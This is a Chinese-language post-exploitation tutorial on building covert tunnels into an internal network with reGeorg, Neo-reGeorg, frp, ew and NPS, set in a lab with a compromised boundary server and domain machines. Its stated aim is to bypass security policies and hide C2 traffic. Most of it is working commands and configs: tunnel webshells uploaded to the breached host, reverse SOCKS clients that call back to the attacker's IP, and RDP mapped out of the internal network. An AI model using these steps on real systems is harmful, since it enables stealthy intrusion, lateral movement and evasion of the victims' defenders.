內網穿透隱秘隧道搭建
0x00 前言
構建內網隱蔽通道,從而突破各種安全策略限制,實現對目標服務器的完美控制。
當我們從外網成功獲得攻擊點的時候,通過反彈shell、端口轉發、內網穿透等技巧,來進一步入侵內網服務器。當我們取得內網目標服務器的控制權限,通過隧道技術繞過網絡限制,實現隱蔽C2服務器的通信。
網絡拓撲:

網絡配置IP如下:
攻擊機: win10:192.168.1.6 kali:192.168.1.7 靶場: VM1:對外邊界服務器,win7 192.168.52.143 192.168.1.5 VM2:域成員,2003 192.168.52.141 VM3:域控,2008 192.168.52.138
0x01 reGeorge
1.1 環境
攻擊機kali
reGeorge軟件,下載:https://github.com/sensepost/reGeorg
運行程序需要的環境:
Python、pip、urllib3;
1.2 部署配置
上傳tunnel.nosocket.php
前提條件,已獲得跳板機的權限(都打到內網了,跳板機的權限肯定獲得了),server-bt系統的跳板機是php環境,將reGeorge中的tunnel.nosocket.php上傳至網站

并訪問http://192.168.1.5/tunnel.nosocket.php
訪問成功

啟動reGeorg
python reGeorgSocksProxy.py -p 1090 -u http://192.168.1.5/tunnel.nosocket.php
表示本地1090端口的流量都轉發給指定的那個url,1090是指定的監聽端口;

配置代理
然后配置proxychains代理鏈的配置文件vim /etc/proxychains.conf,將代理設置成本機的1090端口:socks5 127.0.0.1 1090

1.3 測試
命令前面加上proxychains 運行命令,(跳板機php環境已啟動,存在主頁index.php)
proxychains curl http://192.168.52.143

reGeorg控制端

0x02 Neo-reGeorg
1.1 使用
設置密碼并生成隧道文件,運行后會生成一個neoreg_server目錄,里面包含了各種語言類型的隧道文件
$ python3 neoreg.py generate -k [+] Create neoreg server files: => neoreg_server/key.txt. # 密碼 => neoreg_server/tunnel.nosocket.php => neoreg_server/tunnel.js => neoreg_server/tunnel.php => neoreg_server/tunnel.ashx => neoreg_server/tunnel.aspx => neoreg_server/tunnel.tomcat.5.jsp => neoreg_server/tunnel.tomcat.5.jspx => neoreg_server/tunnel.jsp => neoreg_server/tunnel.jspx
python3 neoreg.py generate -k jdxyxd

1.2 部署配置
上傳tunnel.php
前提條件,已獲得跳板機的權限(都打到內網了,跳板機的權限肯定獲得了),server-bt系統的跳板機是php環境,將reGeorge中的tunnel.php上傳至網站

并訪問http://192.168.1.5/tunnel.php
訪問成功

啟動Neo-reGeorg
python3 neoreg.py -k jdxyxd -u http://192.168.1.5/tunnel.php #表示本地1080端口的流量都轉發給指定的那個url,1080是指定的監聽端口;

配置代理
然后配置proxychains代理鏈的配置文件vim /etc/proxychains.conf,將代理設置成本機的1080端口:socks5 127.0.0.1 1080

1.3 測試
命令前面加上proxychains 運行命令,(跳板機php環境已啟動,存在主頁index.php)
proxychains curl http://192.168.52.143

0x03 frp
軟件:frp_0.33.0_windows_amd64 ,frp_0.34.1_linux_amd64
代理工具Proxifier(windows下通常用可視化的proxifier、SocksCap64,Linux在proxychains設置)
1.1 攻擊機為windows環境
frp的Socks5反向代理:
(HTTP反向代理修改plugin模塊和proxifier代理類型即可)
攻擊機-服務端:
設置frps.ini
[common] bind_port = 7000

然后運行
frps.exe -c frps.ini

跳板機-客戶端:server_addr為攻擊機IP
設置frpc.ini
[common] server_addr = 192.168.1.6 server_port = 7000 [socks5] type = tcp remote_port = 8010 plugin = socks5

然后運行
frpc.exe -c frpc.ini

SwitchyOmega配置

瀏覽器訪問192.168.52.143 訪問成功

proxifier配置

瀏覽器訪問192.168.52.143 訪問成功

0x04 ew
1.1 攻擊機為kali環境
ew正向代理
1.正向連接跳板機在win7機器上執行(ew_for_windows上傳到跳板機)
ew_for_win_32.exe -s ssocksd -l 1090

這里還需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf socks5 192.168.1.5 1090

測試執行:
proxychains curl http://192.168.52.143/

ew反向代理
服務端-攻擊機kali
執行:
./ew_for_linux -s rcsocks -l 1080 -e 1024

客戶端-跳板機
執行
ew.exe -s rssocks -d 192.168.1.7 -e 1024

配置proxychains代理鏈
在配置文件/etc/proxychains.conf,
將代理設置成本機的1080端口(root用戶修改):

測試執行:
proxychains curl http://192.168.52.143/

0x05 NPS隱秘隧道搭建
1)建立連接
此場景攻擊機使用Kali,在攻擊機運行命令“./nps install”安裝服務端,如圖7-81所示。

運行命令“nps start”啟動服務端,如圖7-82所示。

通過8080端口訪問服務端的Web界面,如圖所示。
http://192.168.1.7:8080

輸入默認用戶名、密碼admin、123登錄,登錄后可以看到默認客戶端連接端口為8024,登錄后的Web界面如圖所示。

添加客戶端,如圖所示,配置唯一驗證密鑰,驗證密鑰在從客戶端連接到服務端時使用,此處配置為“any”,然后開啟壓縮和加密傳輸。

最后在邊界主機運行命令“npc.exe -server=192.168.1.7:8024 -vkey=any”來連接服務端,建立連接如圖所示。

連接成功后在攻擊機的Web界面可看到客戶端上線,如圖所示。

2)TCP隧道
客戶端上線后便可以通過Web界面單擊上線的客戶端、查看選項、配置隧道,例如,若想訪問內網主機的3389端口,則可通過TCP隧道將內網主機的3389端口映射到攻擊機的1111端口,單擊“新增”,配置目標“192.168.52.143:3389”,配置服務端口為“1111”,TCP隧道如圖所示。

TCP隧道建立成功后,即可通過連接攻擊機的1111端口來連接內網主機的遠程桌面,在攻擊機運行命令“rdesktop 192.168.1.7:1111”連接本地的1111端口,隧道的使用如圖所示。

3)SOCKS5代理
若想搭建HTTP代理或SOCKS代理,只需選擇對應模式,填寫服務端端口即可,以SOCKS為例,選擇模式為“SOCKS代理”,如圖所示,服務端端口為“1234”。

配置好SOCKS代理后,便可使用攻擊機192.168.1.7的1234端口訪問內網,配置代理服務器

訪問內網主機站點http://192.168.52.143/
使用代理如圖所示。

或者配置proxifier

訪問內網主機站點http://192.168.52.143/
